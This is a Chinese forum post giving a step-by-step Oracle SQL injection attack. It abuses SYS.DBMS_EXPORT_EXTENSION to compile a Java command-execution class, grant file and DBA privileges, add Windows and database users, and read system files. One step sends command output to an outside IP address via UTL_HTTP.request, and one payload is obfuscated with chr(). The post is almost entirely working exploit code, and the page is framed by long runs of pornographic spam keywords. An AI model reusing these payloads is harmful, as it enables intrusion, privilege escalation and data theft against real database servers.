久久精品在这里_成人99免费视频_国产激情视频一区二区在线观看_国产伦精品一区二区三区免费 _亚洲午夜免费福利视频_色狠狠色狠狠综合_av在线综合网_91毛片在线观看_欧美视频一区二区在线观看_极品美女销魂一区二区三区免费_国产亚洲欧美激情_在线免费观看不卡av_日韩不卡一区二区三区_91精品国产麻豆国产自产在线_亚洲国产精品一区二区久久恐怖片_a4yy欧美一区二区三区

以文本方式查看主題

-  曙海教育集團(tuán)論壇  (http://www.rfoamep.cn/bbs/index.asp)
--  Oracle數(shù)據(jù)庫  (http://www.rfoamep.cn/bbs/list.asp?boardid=65)
----  犀利的 oracle 注入技術(shù)  (http://www.rfoamep.cn/bbs/dispbbs.asp?boardid=65&id=2503)

--  作者:wangxinxin
--  發(fā)布時(shí)間:2010-12-11 11:04:20
--  犀利的 oracle 注入技術(shù)
介紹一個(gè)在web上通過oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時(shí) 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and \'1\'<>\'a\'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" \'a\'|| "是為了讓語句返回true值)

語句有點(diǎn)長,可能要用post提交。

以下是各個(gè)步驟:
1.創(chuàng)建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個(gè)函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)
同時(shí)把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'begin dbms_java.grant_permission( \'\'\'\'\'\'\'\'PUBLIC\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'SYS:java.io.FilePermission\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'<<ALL FILES>>\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'execute\'\'\'\'\'\'\'\' );end;\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.readFile(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxRunCMD to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxReadFile to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

5.測試上面的幾步是否成功

and \'1\'<>\'11\'||(
select  OBJECT_ID from all_objects where  object_name =\'LINXRUNCMD\'
)
and \'1\'<>(
select  OBJECT_ID from all_objects where  object_name =\'LINXREADFILE\'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual
)

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxReadFile(\'c:/boot.ini\') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and \'1\'<>"。
如果要查看運(yùn)行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxRunCMD(\'cmd /c net user aaa /del\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)

/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxReadFile(\'c:/boot.ini\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)
注意:用UTL_HTTP.request時(shí),要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like \'%LINX%\' or  object_name like \'%Linx%\'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
drop function LinxRunCMD  \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創(chuàng)建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
CREATE USER linxsql IDENTIFIED BY linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username=\'LINXSQL\'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
GRANT CONNECT TO linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
drop user LINXSQL\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

======================
以下方法創(chuàng)建一個(gè)可以執(zhí)行多語句的函數(shù)Linx_query(),執(zhí)行成功的話返回?cái)?shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on Linx_query to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...
1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'SELECT 14554 FROM DUAL\') FROM DUAL
) and ...

1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
select 1 from dual
\'\'; commit; end;\') from dual
) and ...

多語句:
SELECT sys.Linx_Query(\'declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;\') from dual

創(chuàng)建用戶(除非當(dāng)前用戶有system權(quán)限,否則無法成功):
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
\'\'; commit; end;\') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual;

如果有權(quán)限,以下語句應(yīng)該允許正常
select sys.linx_query(\'select 1 from dual\') from dual;
不然的話運(yùn)行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
grant dba to 當(dāng)前的User\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";return str;}}\'\'; commit; end;\') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil2.RunCMD(java.lang.String) return String\'\'\'\';\'\'; commit; end;\') from dual
4.給權(quán)限
給用戶SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query(\'declare pragma autonomous_transaction;begin dbms_java.grant_permission( \'\'SYSTEM\'\', \'\'SYS:java.io.FilePermission\'\', \'\'<<ALL FILES>>\'\', \'\'execute\'\' );end;\') from dual

5.執(zhí)行函數(shù)
select RunCMD2(\'cmd /c dir\') from dual

久久精品在这里_成人99免费视频_国产激情视频一区二区在线观看_国产伦精品一区二区三区免费 _亚洲午夜免费福利视频_色狠狠色狠狠综合_av在线综合网_91毛片在线观看_欧美视频一区二区在线观看_极品美女销魂一区二区三区免费_国产亚洲欧美激情_在线免费观看不卡av_日韩不卡一区二区三区_91精品国产麻豆国产自产在线_亚洲国产精品一区二区久久恐怖片_a4yy欧美一区二区三区
免费看国产精品一二区视频| 日韩精品中文字幕一区| 国产最新精品免费| 亚洲综合色区另类av| 一区二区不卡在线视频 午夜欧美不卡在| 久久婷婷一区二区三区| 国产视频亚洲色图| 中文字幕制服丝袜一区二区三区| 国产精品美女久久久久av爽李琼| 中文字幕制服丝袜一区二区三区| ...中文天堂在线一区| 亚洲免费av网站| 亚洲一区二区在线免费看| 五月天网站亚洲| 美女脱光内衣内裤视频久久影院| 韩国欧美一区二区| 成人精品视频一区二区三区| 91gao视频| 日韩国产在线一区| 色就色 综合激情| 欧美精品久久久久久久多人混战| 精品免费99久久| 亚洲国产激情av| 亚洲色图一区二区三区| 一个色综合av| 久久精品国产网站| 岛国一区二区在线观看| 国产成人av一区二区三区| 精品欧美一区二区久久久伦| 日韩欧美第二区在线观看| 色婷婷亚洲一区二区三区| 777色狠狠一区二区三区| 国产日韩欧美综合在线| 亚洲一级二级三级在线免费观看| 精油按摩中文字幕久久| 99re热这里只有精品免费视频| 含羞草久久爱69一区| 一本大道久久a久久综合婷婷| 欧美一级高清片在线观看| 自拍偷拍国产亚洲| 国产在线播放一区| 精品国产乱码久久久久久丨区2区 精品国产乱码久久久久久蜜柚 | 亚洲综合精品自拍| 国产在线一区二区| 国新精品乱码一区二区三区18 | 欧美欧美欧美欧美| 国产亚洲成aⅴ人片在线观看 | 亚洲欧美一区二区三区孕妇| 乱中年女人伦av一区二区| 99视频在线播放| 欧美亚洲国产一区在线观看网站| 久久精品夜色噜噜亚洲aⅴ| 亚洲不卡在线观看| 91欧美一区二区| 欧美在线你懂的| 日韩毛片精品高清免费| 国产一区二区在线电影| 日韩福利在线| 久久久久久久久久久久久女国产乱 | 视频一区国产视频| 97中文在线| 欧美日韩精品一区二区天天拍小说| 欧美国产激情二区三区 | 久久久久9999亚洲精品| 免费在线观看成人| 欧美高清视频一区| 久久人人爽人人爽| 国产在线播放一区| 在线视频不卡一区二区| 国产精品日日摸夜夜摸av| 国产麻豆精品95视频| 色综合久久久久久久久五月| 国产片一区二区三区| 国产精品夜夜嗨| 一区二区三区四区在线视频| 国产精品色在线| 99久久伊人久久99| 欧美视频精品在线观看| 亚洲精品成人在线| 97久久人人超碰caoprom欧美| 欧美色综合久久| 婷婷开心久久网| 欧洲高清一区二区| 中文字幕一区在线观看| 成人高清av在线| 日韩一区二区三区高清免费看看| 日韩av电影天堂| 天天综合色天天综合色hd| 18欧美乱大交hd1984| 91精品国产一区二区三区动漫| 欧美三级一区二区| 看片网站欧美日韩| 欧美性高清videossexo| 日韩高清一级片| 在线免费一区| 人禽交欧美网站| 亚洲一区二区三区精品动漫| 亚洲图片欧美综合| 亚洲日本无吗高清不卡| 亚洲一二三级电影| 午夜精品电影在线观看| 一区二区三区中文免费| 黄色99视频| 亚洲精品视频一区| 日韩精品一区二区三区四区五区| 国产精品视频麻豆| 国产九色精品| 亚洲欧美日韩国产另类专区| 精品一区二区国产| 亚洲精品成a人| 日韩欧美99| 亚洲精品va在线观看| 日韩激情视频| 亚洲午夜三级在线| 亚洲一区二区三区加勒比| 日韩国产精品大片| 欧美猛男男办公室激情| 黄色日韩网站视频| 欧美成人一区二区三区在线观看| 成人一区二区在线观看| 久久久影视传媒| 久久国产欧美精品| 亚洲国产成人tv| 欧美视频中文一区二区三区在线观看| 久久99蜜桃精品| 欧美一区二区三区免费视频| 顶级嫩模精品视频在线看| 久久免费国产精品| 久久大片网站| 日本中文一区二区三区| 在线播放91灌醉迷j高跟美女| 粉嫩久久99精品久久久久久夜 | 国产一区二区三区四区五区加勒比 | 成人晚上爱看视频| 国产欧美一区二区精品秋霞影院| 国产精品三区四区| 亚洲线精品一区二区三区 | 粉嫩精品一区二区三区在线观看 | 国产成人免费电影| 一区二区中文字幕在线| 在线丝袜欧美日韩制服| 国产乱国产乱300精品| 国产欧美一区二区精品忘忧草| 久久综合一区| 久久福利资源站| 久久久蜜桃精品| 日韩国产精品一区二区三区| 精品一区二区免费看| 国产亚洲1区2区3区| 三区精品视频观看| 国产精品中文字幕欧美| 中文字幕亚洲一区二区va在线| 一区二区三区四区欧美| 成人免费三级在线| 日韩毛片高清在线播放| 欧美性猛片xxxx免费看久爱| 91超碰rencao97精品| 天天综合网 天天综合色| 日韩三级中文字幕| 日本在线播放一区| 丁香五精品蜜臀久久久久99网站| 综合婷婷亚洲小说| 欧美精品一二三| 久久久久久99| 国产一区二区三区精品视频| 中文字幕在线不卡一区二区三区| 欧美自拍丝袜亚洲| 国内精品视频在线播放| 九九热在线视频观看这里只有精品 | 中国一区二区三区| 国产精品99久久久久久久| 精品写真视频在线观看| 一区二区高清免费观看影视大全| 欧美一区二区三区在线电影 | 美女视频第一区二区三区免费观看网站 | 韩国女主播成人在线| 亚洲免费av网站| 日韩视频一区二区在线观看| 日韩亚洲视频在线| 91免费视频大全| 久久97超碰色| 午夜精品福利久久久| 欧美激情中文字幕| 欧美色涩在线第一页| 久久综合毛片| 91小宝寻花一区二区三区| 久久精品国产成人一区二区三区| 亚洲素人一区二区| 2021国产精品久久精品| 91搞黄在线观看| 欧美日韩亚洲在线| 国产91精品入口17c| 国产馆精品极品| 日韩精品亚洲一区二区三区免费| 中文字幕永久在线不卡| 久久综合色综合88| 717成人午夜免费福利电影| 亚洲精品久久区二区三区蜜桃臀| 粉嫩精品一区二区三区在线观看| 成人免费毛片a|